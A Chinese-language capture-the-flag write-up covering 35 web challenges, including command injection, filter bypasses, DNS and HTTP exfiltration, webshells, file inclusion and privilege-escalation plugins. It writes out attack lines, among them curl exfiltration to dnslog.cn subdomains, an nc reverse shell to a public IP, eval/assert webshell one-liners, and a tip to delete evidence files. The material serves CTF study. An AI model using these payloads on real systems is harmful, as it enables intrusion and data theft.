VIP题目wp
VIP题目wp
web1(robots.txt)
在网址后输入/robots.txt,查看爬虫管理文件
直接访问即可
web2(.git)
使用githack
C:\Users\李则睿\AppData\Local\Programs\Python\Python310\python.exe .\GitHack.py -u "网址/.git/"
web3(爆破)
正常的数字爆破
web4(字典导入)
没啥好说的QAQ
一个是username 另一个password
web5(base64加密爆破)
导入最新字典,按照截图来就行
web6(综合)
将1到5教的结合,先看robots协议
打开里面的路径
再/.git/泄露
然后爆破
web7(;的应用)
&&前后并列执行 短路
||前后命令有一个成功就行
;独立的两条命令
dir=;tac flag.php
dir=%26%26tac flag.php
在这里用;将命令隔开就可以实现先执行ls再执行tac flag.php
web8(/dev/null 2>&1)
需要前后两个命令,但是会使后面删除
web9(flag被过滤)
?可以用来站位
*也可以匹配
web10(base64绕过)
注意这里echo前用到是反引号,密文用的是单引号
web11(空格过滤)
${IFS}
$IFS$9
%09
等
web12(env)
web13(. /???/?????????)
whoami
这里匹配最后以为最后一位为大写字母
太狗了,还搞一个假flag
web14(无回显文件读取)
文件写入形,写入文件二次返回
?cmd=cat fla?.php>1.txt
将flag.php写入1.txt
直接访问1.txt即可
看完记得rm 1.txt消除痕迹
web15(DNS信道)
这里用到了http://dnslog.cn/网站
创建一个二级域名
?cmd=ping -c 1 whoami
.jaugz9.dnslog.cn
可以看到信息被带出来了,但是这个方法有一个缺点,就是带出来的信息是有限的
于是我们尝试构造
?cmd=a=sed -n "3,4p" fla?.php
;curl ${a:0:10}.2ax8wk.dnslog.cn
就可以得到关于flag的信息
当我们继续带出数据时,会发现不能成功(如 ${a:10:10} )
所以我们需要编码
?cmd=a=sed -n "3,4p" fla?.php|base64
;curl ${a:0:10}.cgvu9p.dnslog.cn
JGZsYWc9ImZsYWd7MmViNWQzZjctMGFhMy00OTU1LTlmMGYtNTFmZGI3YzU0Y2ZhfSI7Cg==
web16(http信道|requestrepo)
web17(反弹shell信道)
复制这里2的代码,记得改成自己的公网ip和所监听的端口
web18(蚁剑连接)
没啥好说的,单纯的蚁剑连接
web19(转接)
接一句
?1=eval($_POST[1]);
其余和18一样
web20(call_user_func函数)
先了解函数的意思
然后使用函数达到目的
在php中assert和eval作用一样
web21(array_walk_recursive函数)
web22(拼接法)
web23(?>绕过)
看到有?>还过滤了?;等符号
就需要先看php手册
可以使用这段代码绕过
<script language="php"> echo 'some editors (like FrontPage) don\'t like processing instructions'; </script>
直接读取就好
这里有一个小技巧Linux读取根目录文件不用后缀
web24(限制上传长度+反弹shell)
题目是这样的
需要get上传一个1,然后要让他执行php语言
首先要构造一个绕过,不但要保证字数在限制以内,还要rce
这里上传这样一句
1=<?$_GET[2]
;
这个是运用了短标签风格 <?=?>
但是由于字数限制,不得不删除等号,会导致没有回显
为了验证是否成功绕过过滤,我们使用了2=sleep 3命令
如果网页三秒后才加载出来,说明rce成功
然后使用反弹shell的方法得到flag
首先需要一台拥有公网ip的服务器
我们在服务器控制端
输入nc -lvvnp 端口号,然后网页端输入这个
?1=<?$_GET[2]
;&2=nc 172.245.168.226 3389 -e /bin/sh
到这里直接查看flag就好了
web25(虚拟终端连接与蚁剑编码器的选择)
这里发现直接上传命令是没有用的
于是我们使用蚁剑连接由于过滤了eval函数,这里使用assert来替代
进行转接,改为post传参
?1=assert($_POST[1]);
注意:这里的编码器需要选择base64
否则会连接不成功
连接成功后,发现flag在根目录下
但是却打不开,说明这里过滤了系统命令
需要在这里以终端运行来读取flag
web26(蚁剑绕过与提权插件的使用)
这个是题目
这里继续使用蚁剑连接
和上一道题目用同样的连接方式
成功后继续打开虚拟终端
发现不能成功执行命令了
这里使用插件
这里使用的是ld_preload模式
成功后用这样的方式连接
连接成功后,用虚拟终端查看flag
结果发现没有权限
这里需要使用另一个插件
打开插件首先查找字符
再输入用户
这里看到很多路径
查看suid提取文件
发现tac是可以使用的
于是我们打开虚拟终端
tac flag就行
web27(Apache_mod_cgi)
前半部分和上一道题一样
这里在插件里选择Apache_mod_cgi
在这里执行命令
这里就不像上一题那样查看命令权限了
直接tac /f*
就可以看到flag
web28(user_filter)
和上一道题基本一样,只是使用了
user_filter模式
web29(无[a-z0-9]rce)
使用xor脚本
首先运行xor.php
会生成一个txt字典
然后运行python脚本
xor.py
构造即可
web30(文件包含)
当包含的东西没有php代码他就一律认为是文本文档
web31(三元表达式)
三元表达式
a?b:c
a成立则b否则c
web32(input)
这里注意是flag不是flag.php
web33(php filter协议)
这里注意编码后如果末尾是+要将它换成%2b
用以上原理就可以实现rce
最终得到flag
web34(rot13绕过死亡die)
web35(data协议)
可以省略成
?file=data:,<?php ?>
#
- 感谢你赐予我前进的力量